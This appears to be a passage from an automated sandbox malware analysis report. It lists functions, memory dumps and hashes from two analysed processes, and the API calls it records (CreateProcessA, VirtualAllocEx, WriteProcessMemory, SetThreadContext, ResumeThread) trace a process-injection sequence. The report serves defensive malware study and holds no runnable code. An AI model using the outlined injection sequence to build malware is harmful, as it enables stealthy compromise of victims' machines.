Function 06276F98 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,062774A6), ref: 06277656

Memory Dump Source

Source File: 00000009.00000002.2344988192.0000000006270000.00000040.00000800.00020000.00000000.sdmp, Offset: 06270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6270000_I5pvP0CU6M.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8d162618ed8f378748e23a403330fbd3bb33402825364803448ca4438e6956dc
Instruction ID: 0a051b37ef7b00896e65ecfcfbe08c23f507348ca01d71ff09145157574f184b
Opcode Fuzzy Hash: 8d162618ed8f378748e23a403330fbd3bb33402825364803448ca4438e6956dc
Instruction Fuzzy Hash: D81112B5D0074A8FDB10CF9AC844A9EFBF4AB88220F14842AD919B7210D3B9A545CFA5

Function 00EA0CE0 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00EA0D47

Memory Dump Source

Source File: 00000009.00000002.2324663295.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_I5pvP0CU6M.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: b867d44bfc3ce99c1400a6f3546647f6936ed4506e26a74253e2107013296179
Instruction ID: 885a8e9a2a09544b15cfc6e87b0ca25439f3f63c5544176a23c554436b91204d
Opcode Fuzzy Hash: b867d44bfc3ce99c1400a6f3546647f6936ed4506e26a74253e2107013296179
Instruction Fuzzy Hash: 561146719043498FDB20CFAAC4457EEFBF0AF88324F24841AC519B7240C7796504CB91

Function 00EA0CE8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00EA0D47

Memory Dump Source

Source File: 00000009.00000002.2324663295.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_I5pvP0CU6M.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: ef236668c24f572c0c4cbb37ffaa3c461abca4cbe77a919b2fe419c38dc49dbd
Instruction ID: bb383dab8cc257c0a618c72956fe59e5baa13b248023404229865a17eb567946
Opcode Fuzzy Hash: ef236668c24f572c0c4cbb37ffaa3c461abca4cbe77a919b2fe419c38dc49dbd
Instruction Fuzzy Hash: DD1103759003498FDB20DFAAC44579FFBF4AF88724F24881AD519A7240CB79A944CBA5

Function 062C349D Relevance: 1.3, Instructions: 1277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2345112018.00000000062C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_62c0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eadef1adc461fef3036a712cf3915dce1855b96668362004ec78cd07b3bc75b0
Instruction ID: 2dbb0bc691e6ad378f00469d7d810f4ed3bf0d6a46a3db8c74dd516e1cdd0e9c
Opcode Fuzzy Hash: eadef1adc461fef3036a712cf3915dce1855b96668362004ec78cd07b3bc75b0
Instruction Fuzzy Hash: 65A1B074B102059FDB45DB78C854A6EBBF2EF89310B2489AEE915DB3A2CB70DC05CB51

Function 062C3138 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2345112018.00000000062C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_62c0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d499bac5280c43798be0689b9075993cd83bff64b78fe8ae4a2bc94a3f44b6c5
Instruction ID: bb79c426b4f00ff41dac2ec8ff3d0cbf640fbd4e597708ad687d5f1beb48ed38
Opcode Fuzzy Hash: d499bac5280c43798be0689b9075993cd83bff64b78fe8ae4a2bc94a3f44b6c5
Instruction Fuzzy Hash: 8E917E35B102159FCB44CF68C894E9ABBF2FF89710B1584AAEA05EB361DB71EC05CB51

Function 062C11A8 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2345112018.00000000062C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_62c0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94de672d39c42c126d4ae43bb3d86e20829fd0ecb1e773bfcbb59e773d748c5a
Instruction ID: 660312f84b7c15cab9a3fa86063032810763d98cd0bfe5064f59cfcc1835add4
Opcode Fuzzy Hash: 94de672d39c42c126d4ae43bb3d86e20829fd0ecb1e773bfcbb59e773d748c5a
Instruction Fuzzy Hash: C4515735B203568FD7509A7DD85856ABBE9EFC2220B14827FDD05CB612EB30C851C7A2

Function 00E4D054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2324064629.0000000000E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e4d000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41892f4eda8fc0d68c2915ec13d45a7ca745c8f6156167541e72aa635d36c837
Instruction ID: 61b330b1c7fb871056f7aab8b80eda69bbfa356f6fc8846c4785960d0725e735
Opcode Fuzzy Hash: 41892f4eda8fc0d68c2915ec13d45a7ca745c8f6156167541e72aa635d36c837
Instruction Fuzzy Hash: 55210872508244EFDB15DF10EDC0B2ABF66FB88318F24C159ED091B256C376D816CB61

Function 00E5D474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2324187331.0000000000E5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e5d000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e53f33098540a0f121a1bd28f59119fa8913ad659a44822fb7f0c28145985dd
Instruction ID: d18f817a4eb923f18b2553ec7fd3745d24f622b52641b10266047035063ae152
Opcode Fuzzy Hash: 0e53f33098540a0f121a1bd28f59119fa8913ad659a44822fb7f0c28145985dd
Instruction Fuzzy Hash: C9214971508304EFCB14DF50C9C0B26BB61FB84319F20C96DDD095B352C776D84ACA62

Function 00E5D2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2324187331.0000000000E5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e5d000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fa84ca604317b0a4d09a666704d6b6cbe8eb5fd8f85049ddd42a1e26340d5d5
Instruction ID: 7fd84a37f036f612fb470360fe45398581f453cc457063df55373c8944f2b12a
Opcode Fuzzy Hash: 6fa84ca604317b0a4d09a666704d6b6cbe8eb5fd8f85049ddd42a1e26340d5d5
Instruction Fuzzy Hash: F1213876508244EFDB24DF14DDC0B2ABB65FB84325F24C96DDC095B252C37AD84ACAA2

Function 00E4D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2324064629.0000000000E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e4d000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83fb694dd1e91a6ea135483331fab76a04ef60c4faa8ae053019808facf22284
Instruction ID: aafea7dfae61d89f932c611f5b0ff08a931eb77c05539f2674a4996a63e4bc15
Opcode Fuzzy Hash: 83fb694dd1e91a6ea135483331fab76a04ef60c4faa8ae053019808facf22284
Instruction Fuzzy Hash: 87219D76505284DFCB16CF10E9C4B1ABF72FB88318F2486A9DD491A656C33AD826CB91

Function 00E5D46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2324187331.0000000000E5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e5d000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction ID: a27b07eef366bccdb3a2f68d6ee95ff7701ee6e705bbd165974a6b8a630fdbb1
Opcode Fuzzy Hash: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction Fuzzy Hash: DE119075508284DFCB15CF50D9C4B15BB71FB84318F24CAA9DC494B656C33AD84ACB52

Function 00E5D2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2324187331.0000000000E5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e5d000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecf76333c4857edb0cae155a2ed822a1bfe38db2c40391184a4fb299c42cee64
Instruction ID: 17f82b39b0a4845516f166bff0168bde3a2dca5e9ea5232a583f205b79332d83
Opcode Fuzzy Hash: ecf76333c4857edb0cae155a2ed822a1bfe38db2c40391184a4fb299c42cee64
Instruction Fuzzy Hash: 7811B276508684CFCB11CF10D9C4B19FB61FB84328F24C6AADC495B656C33AD84ACBA2

Function 00E4DA91 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2324064629.0000000000E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e4d000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 041cc0a9a8ffda182daeac0353e363366bec32118e5c829f45da5f7cffe2d90d
Instruction ID: 7d82643f9acb98ed03ebb144eca936d232b34cb55182a8e957a4a2b63f04b94a
Opcode Fuzzy Hash: 041cc0a9a8ffda182daeac0353e363366bec32118e5c829f45da5f7cffe2d90d
Instruction Fuzzy Hash: 8001267110C3449AE7208F25ED84B67FFDCEF40378F18D05AEE096A283C6B99840D6B1

Function 00E4DA90 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2324064629.0000000000E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e4d000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05eff60cd7905268df375edf3f7b338c64d76fca82152d70bcabea10cfc54eb2
Instruction ID: feca6048f7e456bb4240e67afbf0c0e1d33727c8d0e7d2a5587e9e44248622a1
Opcode Fuzzy Hash: 05eff60cd7905268df375edf3f7b338c64d76fca82152d70bcabea10cfc54eb2
Instruction Fuzzy Hash: 0BF062724093449EE7208E15DDC4B67FFD8EB51778F18C55AED085A283C279AC44CA71

Analysis Process: VcihjWRO.exePID: 7224, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	218
Total number of Limit Nodes:	14

Executed Functions

Function 07026E1F Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70ac4b3551744ec329612cc32b2b53525f15c43c808942f06b9866bd4f3f9e24
Instruction ID: cf466b4810d8556ee0fa33262f6e56a1caf1b2d67224774541bc03ff03af6fee
Opcode Fuzzy Hash: 70ac4b3551744ec329612cc32b2b53525f15c43c808942f06b9866bd4f3f9e24
Instruction Fuzzy Hash: 01C09BA7DDF034D59900688470000FCE33CD38B025F403651D32DE3501451045176555

Function 070243E4 Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07024626

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 6689371a29557df2f7148f545de0a06ee53716a593163b4de061e248992a9fb1
Instruction ID: 48d5c2809645f8d6aa981e5adaf0261eaf6c1c52d83aac3cc213d4c90b4d0e6f
Opcode Fuzzy Hash: 6689371a29557df2f7148f545de0a06ee53716a593163b4de061e248992a9fb1
Instruction Fuzzy Hash: 0FA15CB1D0066ACFEB14CF68C945B9DBBF2BF48310F148269E849A7240DB749986DF91

Function 070243F0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07024626

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a9de2361afb3c069666a178a99057b39757b3cba331c29b45bff0b28dbd88d79
Instruction ID: ad2f10b0dab639265747c9eda4d60f9412e133d8f033ac8130ecca06717613bc
Opcode Fuzzy Hash: a9de2361afb3c069666a178a99057b39757b3cba331c29b45bff0b28dbd88d79
Instruction Fuzzy Hash: E3915DB1D0066ACFEB14CF68C941B9DBBF2BF48310F148269E849A7240DB749986DF91

Function 00ECAED9 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2314634946.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ec0000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdc0b86a7efb37db81b717ef5c619e799c542bf7cce0b4c1c9cdb47c9a8da303
Instruction ID: ff83d82dfe0c46ac56f0ca89297f27e9b90316cb117fae8996ff2cea63a9f596
Opcode Fuzzy Hash: fdc0b86a7efb37db81b717ef5c619e799c542bf7cce0b4c1c9cdb47c9a8da303
Instruction Fuzzy Hash: F5818B70A00B458FD724DF2AD155B5ABBF1FF88304F048A2DE056E7A41D775E846CB91

Function 00EC58EC Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00EC59A9

Memory Dump Source

Source File: 0000000B.00000002.2314634946.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ec0000_VcihjWRO.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: fc22f077bb81f154a4c99ac556669bb73b9697ae8d80cea6ebd61adace5df237
Instruction ID: c170c265a1e9235a23c5cfd9f95b5c43869af8e331be0ef12c916f7084c2fc99
Opcode Fuzzy Hash: fc22f077bb81f154a4c99ac556669bb73b9697ae8d80cea6ebd61adace5df237
Instruction Fuzzy Hash: 8341E271C00719CBDB24DFAAC944B8EBBB5BF89704F20816AD418BB251DB766946CF90

Function 00EC44D4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00EC59A9

Memory Dump Source

Source File: 0000000B.00000002.2314634946.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ec0000_VcihjWRO.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: ce79188d0fa30b16586c17ce709333793e48bca7466f94ad27b06d618075610a
Instruction ID: 7299a5d9a8f617698ed9cf9886e26a34226cc591744d6860024c954c85b07b96
Opcode Fuzzy Hash: ce79188d0fa30b16586c17ce709333793e48bca7466f94ad27b06d618075610a
Instruction Fuzzy Hash: 4B41D071C0071DCBEB24DFAAC944B9EBBB5BF88704F20816AD418BB251DB756946CF90

Function 04EB40A0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04EB4161

Memory Dump Source

Source File: 0000000B.00000002.2318320034.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4eb0000_VcihjWRO.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 6db0f3134283f9c253ea9462d325c96175146a8761383d40455c80afb26cd22e
Instruction ID: 41e4085ad5b068afe057ad8bcdde8b05a4b5db77c5b46f95dac1c8f6cc6d0d52
Opcode Fuzzy Hash: 6db0f3134283f9c253ea9462d325c96175146a8761383d40455c80afb26cd22e
Instruction Fuzzy Hash: 254135B4A003099FDB15CF89C848AABBBF5FB88314F24C559D558AB361D374A841CBA0

Function 07000CA0 Relevance: 1.6, APIs: 1, Instructions: 85
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?), ref: 07000D5F

Memory Dump Source

Source File: 0000000B.00000002.2320117943.0000000007000000.00000040.00000800.00020000.00000000.sdmp, Offset: 07000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_VcihjWRO.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 257d7e56e8dc0795c5c7bc9f83b1f991ae5b8c3a8693ec2b9c87b440382e9a65
Instruction ID: 0fd91224bc68784353f47a7be424162264ee5c861a806a182967e2b9b616db7a
Opcode Fuzzy Hash: 257d7e56e8dc0795c5c7bc9f83b1f991ae5b8c3a8693ec2b9c87b440382e9a65
Instruction Fuzzy Hash: 54318AB29043599FDB118FA9D804ADEBFF8EF09320F14805AE554A7251C335A950CBA1

Function 07024160 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 070241F8

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 34f4bddd1a419086a9d34728b5be9fd0528d74d8b6a97d2849ca92c8e25a7ad8
Instruction ID: 2909df08c34cc4ad44f29f2e4845e0d52ef71ffbecfa6a76c0a88c8734908de2
Opcode Fuzzy Hash: 34f4bddd1a419086a9d34728b5be9fd0528d74d8b6a97d2849ca92c8e25a7ad8
Instruction Fuzzy Hash: A72139B690035A9FDB10CFA9C881BDEBBF5FF48310F108429E918A7240D7789955DBA5

Function 00ECD4D8 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00ECD4A6,?,?,?,?,?), ref: 00ECD567

Memory Dump Source

Source File: 0000000B.00000002.2314634946.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ec0000_VcihjWRO.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 849ca7f70d4f64df7c0b6827dda71779a06bcde99bb6d670df78841209478d05
Instruction ID: 416624a323b486de40cf7fd89abeb5eaa21e899e60e47ca2d667a4d2b9860102
Opcode Fuzzy Hash: 849ca7f70d4f64df7c0b6827dda71779a06bcde99bb6d670df78841209478d05
Instruction Fuzzy Hash: C32148B580424ADFDB10CFA9D984BDEBFF4FB48324F24811AE954A7250C375A941CFA0

Function 07024168 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 070241F8

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b3dc218b9ab6d008d8e49a43dc35f1cd3e3fd8d8455a55b6ccec61cfa481632c
Instruction ID: caff2a812a5db028195f30d5b2899a4de90b0185fab556aed61353ae3b310a81
Opcode Fuzzy Hash: b3dc218b9ab6d008d8e49a43dc35f1cd3e3fd8d8455a55b6ccec61cfa481632c
Instruction Fuzzy Hash: BE215AB290035A9FDF10CFA9C881BDEBBF5FF48310F108429E918A7240C7789955DBA1

Function 07023FC8 Relevance: 1.6, APIs: 1, Instructions: 68
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0702404E

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 81ba7636890794cfdc53356390642977563958ec36e737a25919d881eb269669
Instruction ID: 9d2ac21be5d2f407b2b8e25c32b258394ca34708ec6f3d26838e20e8b0ac99f8
Opcode Fuzzy Hash: 81ba7636890794cfdc53356390642977563958ec36e737a25919d881eb269669
Instruction Fuzzy Hash: 45219DB290034A8FDB10CFAAC4847EEBBF4EF48320F14842AD559A7240C7789985CFA1

Function 07023F1A Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 07023F82

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: efe6c77313a2b321fa46815efc54ae9e3a2ae88c1a69e84b79247cf1829bef62
Instruction ID: 02c8285cf9908cd8565988726da49d70a09d84952e1eca6da1ba29beea078b2c
Opcode Fuzzy Hash: efe6c77313a2b321fa46815efc54ae9e3a2ae88c1a69e84b79247cf1829bef62
Instruction Fuzzy Hash: 362198B2D003599FCB10DFAAD4447DEFBF4EF48214F24855AD419A7200D7796901CB94

Function 07024252 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 070242D8

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1ca33b691c41b208993ccccfd2c486443d8d4e59735dc25f4b10c7c911e36098
Instruction ID: 79c49923502396bbcf4a69fa5bf8385a5694e9301df519d6eb129fef93c546fd
Opcode Fuzzy Hash: 1ca33b691c41b208993ccccfd2c486443d8d4e59735dc25f4b10c7c911e36098
Instruction Fuzzy Hash: 142139B190035A9FDB10CFAAC880ADEFBF5FF48310F508429E558A7240D778A915DBA5

Function 00ECB538 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00ECD4A6,?,?,?,?,?), ref: 00ECD567

Memory Dump Source

Source File: 0000000B.00000002.2314634946.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ec0000_VcihjWRO.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d7f3a870655fc9d02d6191e22bbd722e60b561421bcf67b5535a9fc727d3556e
Instruction ID: c411ce0b61e4eb2586fa172411aaaf27dcccc148736864dbf53ac8bf89541534
Opcode Fuzzy Hash: d7f3a870655fc9d02d6191e22bbd722e60b561421bcf67b5535a9fc727d3556e
Instruction Fuzzy Hash: 1B21D4B5904209DFDB10CF9AD984ADEBBF4FB48324F14801AE914A3310D379A951CFA5

Function 07023FD0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0702404E

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6ff0c13e224e86ae761074d550a40ead97e7709503c3895880845a9d40888e7a
Instruction ID: c1bc34680c25bf79859db332eddff2894b50af7cb13faf72d9fdae6bfeecc86c
Opcode Fuzzy Hash: 6ff0c13e224e86ae761074d550a40ead97e7709503c3895880845a9d40888e7a
Instruction Fuzzy Hash: 212149B290030A8FDB10DFAAC4857EEBBF4FF88324F148429D559A7240CB789945CFA5

Function 07024258 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 070242D8

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a9ce8560bedf18e93b993722750e10077dead8e9399cb5b059757b83ad5edb63
Instruction ID: 22d6558b8a8df8d6658d75e7140e437d0894f71797cabd676120bf603e4cad71
Opcode Fuzzy Hash: a9ce8560bedf18e93b993722750e10077dead8e9399cb5b059757b83ad5edb63
Instruction Fuzzy Hash: 302128B190035A9FDB10CFAAC881BDEBBF5FF48310F508429E518A7240C778A915DBA5

Function 070240A0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07024116

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 605043c145548f00919bd5cd932c59770928cfa12ad37d93d732cc67ebef3586
Instruction ID: a9e06af0808c3676f8565f6d0558b8e22e948770af3edd86bec352df0955a00a
Opcode Fuzzy Hash: 605043c145548f00919bd5cd932c59770928cfa12ad37d93d732cc67ebef3586
Instruction Fuzzy Hash: A111897290034A9FDF10DFA9C8447DEBFF1EF88320F24841AE559A7240C7799941CBA1

Function 070240A8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07024116

Memory Dump Source

Source File: 0000000B.00000002.2320304373.0000000007020000.00000040.00000800.00020000.00000000.sdmp, Offset: 07020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7020000_VcihjWRO.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8849f5de132c3813cc2e4e94810c08628f1bc88d865063135fd054b7ce916e7b
Instruction ID: a7ee0f313955e3746dcc99615ea38ee3d899a96593c34d11a5d0cce6ab56ac07
Opcode Fuzzy Hash: 8849f5de132c3813cc2e4e94810c08628f1bc88d865063135fd054b7ce916e7b
Instruction Fuzzy Hash: 5011267290034A9FDB10DFAAC845BDEBBF5EF88320F248419E519A7250C779A950DBA1
